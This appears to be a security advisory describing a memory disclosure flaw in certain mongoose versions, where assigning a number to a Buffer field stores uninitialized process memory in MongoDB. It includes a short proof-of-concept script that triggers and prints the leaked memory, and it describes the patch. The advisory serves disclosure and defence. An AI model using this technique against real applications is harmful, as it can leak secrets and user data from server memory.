Remote Memory Exposure Affecting mongoose package, versions >=3.5.5 <3.8.39>=4.0.0 <4.3.6

A potential memory disclosure vulnerability exists in mongoose. A Buffer field in a MongoDB document can be used to expose sensitive information such as code, runtime memory and user data into MongoDB.

Initializing a Buffer field in a document with integer N creates a Buffer of length N with non zero-ed out memory.

Example:

var x = new Buffer(100); // uninitialized Buffer of length 100
// vs
var x = new Buffer('100'); // initialized Buffer with value of '100'

Initializing a MongoDB document field in such manner will dump uninitialized memory into MongoDB. The patch wraps Buffer field initialization in mongoose by converting a number value N to array [N], initializing the Buffer with N in its binary form.

var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/bufftest');

// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));

var Item = mongoose.model('Item');

var sample = new Item();
sample.id = 'item1';

// This will create an uninitialized buffer of size 100
sample.data = 100;
sample.save(function () {
    Item.findOne(function (err, result) {
        // Print out the data (exposed memory)
        console.log(result.data.toString('ascii'))
        mongoose.connection.db.dropDatabase(); // Clean up everything
        process.exit();
    });
});

• https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md
• https://github.com/ChALkeR/notes/blob/master/Lets-fix-Buffer-API.md%23previous-materials
• https://github.com/Automattic/mongoose/issues/3764